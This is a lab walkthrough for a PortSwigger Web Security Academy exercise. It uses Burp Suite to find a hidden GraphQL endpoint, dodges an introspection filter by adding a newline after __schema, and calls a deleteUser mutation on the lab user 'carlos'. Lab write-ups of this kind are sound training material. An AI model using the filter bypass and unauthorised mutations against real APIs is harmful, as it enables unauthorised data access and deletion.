Lab: Finding a hidden GraphQL endpoint

Find the hidden GraphQL endpoint

After starting the exercise, the shop should be similar to the following illustration.

From the description of the exercise, we learn that we cannot identify the GraphQL endpoint when we click on each link in the shop. We also cannot use the Introspection Query as appropriate measures are implemented. This leaves only manual testing against known GraphQL endpoints. We send any request from the HTTP history in the Burp Proxy to the Burp Repeater. To do this, we move the mouse over the request in the burp proxy and press the right mouse button. In the context menu, we select the option Send to Repeater.

In this example, the request was sent to the endpoint / to the Burp Repeater. The first lines of the request are shown in the following code snippet so that it is clear which request was sent.

GET / HTTP/1.1
Host: 0ab80024048bc1aa82ad155c0099004b.web-security-academy.net
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36

If we send this request to the /api endpoint, we receive the message "Query not present". This indicates that there may be a GraphQL endpoint that responds to GET requests at this point. We now add the universal query query=query{__typename} to the request. The request now has the following output.

GET /api?query=query{__typename} HTTP/2
Host: 0ab80024048bc1aa82ad155c0099004b.web-security-academy.net
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

The answer we receive is:

{
  "data": {
    "__typename": "query"
  }
}

This confirms that it is a GraphQL endpoint.

Overcome the introspection defenses

Now we want to send a URL-encoded Introspection Query. To do this, we move the mouse over our request in the Burp Repeater and press the right mouse button. In the context menu, we select the option GraphQL and Set introspection query.

If you use a request without /api?query{__typename}, then you do not have the option GraphQL in the context menu for selection.

The request now has the following appearance:

GET /api?query=query+IntrospectionQuery+%7b%0a++++__schema+%7b%0a++++++++queryType+%7b%0a++++++++++++name%0a++++++++%7d%0a++++++++mutationType+%7b%0a++++++++++++name%0a++++++++%7d%0a++++++++subscriptionType+%7b%0a++++++++++++name%0a++++++++%7d%0a++++++++types+%7b%0a++++++++++++...FullType%0a++++++++%7d%0a++++++++directives+%7b%0a++++++++++++name%0a++++++++++++description%0a++++++++++++locations%0a++++++++++++args+%7b%0a++++++++++++++++...InputValue%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%7d%0a%0afragment+FullType+on+__Type+%7b%0a++++kind%0a++++name%0a++++description%0a++++fields%28includeDeprecated%3a+true%29+%7b%0a++++++++name%0a++++++++description%0a++++++++args+%7b%0a++++++++++++...InputValue%0a++++++++%7d%0a++++++++type+%7b%0a++++++++++++...TypeRef%0a++++++++%7d%0a++++++++isDeprecated%0a++++++++deprecationReason%0a++++%7d%0a++++inputFields+%7b%0a++++++++...InputValue%0a++++%7d%0a++++interfaces+%7b%0a++++++++...TypeRef%0a++++%7d%0a++++enumValues%28includeDeprecated%3a+true%29+%7b%0a++++++++name%0a++++++++description%0a++++++++isDeprecated%0a++++++++deprecationReason%0a++++%7d%0a++++possibleTypes+%7b%0a++++++++...TypeRef%0a++++%7d%0a%7d%0a%0afragment+InputValue+on+__InputValue+%7b%0a++++name%0a++++description%0a++++type+%7b%0a++++++++...TypeRef%0a++++%7d%0a++++defaultValue%0a%7d%0a%0afragment+TypeRef+on+__Type+%7b%0a++++kind%0a++++name%0a++++ofType+%7b%0a++++++++kind%0a++++++++name%0a++++++++ofType+%7b%0a++++++++++++kind%0a++++++++++++name%0a++++++++++++ofType+%7b%0a++++++++++++++++kind%0a++++++++++++++++name%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%7d HTTP/2
Host: 0acd00e80482308d804d2b76008700d9.web-security-academy.net
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

If we send this request, we receive the message "GraphQL introspection is not allowed, but the query contained __schema or __type". We now search for the section ... 0a++++__schema+%7b%0a+ ... and insert a line break (%0a) after __schema. The complete request is shown below.

GET /api?query=query+IntrospectionQuery+%7b%0a++++__schema%0a+%7b%0a++++++++queryType+%7b%0a++++++++++++name%0a++++++++%7d%0a++++++++mutationType+%7b%0a++++++++++++name%0a++++++++%7d%0a++++++++subscriptionType+%7b%0a++++++++++++name%0a++++++++%7d%0a++++++++types+%7b%0a++++++++++++...FullType%0a++++++++%7d%0a++++++++directives+%7b%0a++++++++++++name%0a++++++++++++description%0a++++++++++++locations%0a++++++++++++args+%7b%0a++++++++++++++++...InputValue%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%7d%0a%0afragment+FullType+on+__Type+%7b%0a++++kind%0a++++name%0a++++description%0a++++fields%28includeDeprecated%3a+true%29+%7b%0a++++++++name%0a++++++++description%0a++++++++args+%7b%0a++++++++++++...InputValue%0a++++++++%7d%0a++++++++type+%7b%0a++++++++++++...TypeRef%0a++++++++%7d%0a++++++++isDeprecated%0a++++++++deprecationReason%0a++++%7d%0a++++inputFields+%7b%0a++++++++...InputValue%0a++++%7d%0a++++interfaces+%7b%0a++++++++...TypeRef%0a++++%7d%0a++++enumValues%28includeDeprecated%3a+true%29+%7b%0a++++++++name%0a++++++++description%0a++++++++isDeprecated%0a++++++++deprecationReason%0a++++%7d%0a++++possibleTypes+%7b%0a++++++++...TypeRef%0a++++%7d%0a%7d%0a%0afragment+InputValue+on+__InputValue+%7b%0a++++name%0a++++description%0a++++type+%7b%0a++++++++...TypeRef%0a++++%7d%0a++++defaultValue%0a%7d%0a%0afragment+TypeRef+on+__Type+%7b%0a++++kind%0a++++name%0a++++ofType+%7b%0a++++++++kind%0a++++++++name%0a++++++++ofType+%7b%0a++++++++++++kind%0a++++++++++++name%0a++++++++++++ofType+%7b%0a++++++++++++++++kind%0a++++++++++++++++name%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%7d HTTP/2
Host: 0acd00e80482308d804d2b76008700d9.web-security-academy.net
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

When we send the request, we see that the response now contains the full introspection details. This is because the server is configured to exclude queries that match the regex "__schema{", which the query no longer matches, although it is still a valid Introspection Query.

Exploit the vulnerability to delete carlos

We now move the mouse back over our request in the Burp Repeater and press the right mouse button. In the context menu, we select GraphQL again and then Save GraphQL queries to site map.

In the Burp Target under Site map we see a query that we now send to the Burp Repeater. How this works is described above.

After switching to the Burp Repeater, we send the request and receive the following response.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=XhuPEureRLf6wEHnHVAH0pRo8vc5Q26R; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 39

{
  "data": {
    "getUser": null
  }
}

Now we open the GraphQL tab in the Burp Repeater.

We now enter id 3 in the Variables section and send the request.

{
	"id":3
}

In the reply, we receive the details of the user Carlos.

{
  "data": {
    "getUser": {
      "id": 3,
      "username": "carlos"
    }
  }
}

We open the Site map in the Burp Target again and take a look at the mutation that can be seen there next to the query from earlier.

We send this mutation to the burp repeater. We have already described how this works above. In the Burp Repeater, we open the GraphQL tab and enter id 3 there.

After sending the request, we finished the exercise.

Last updated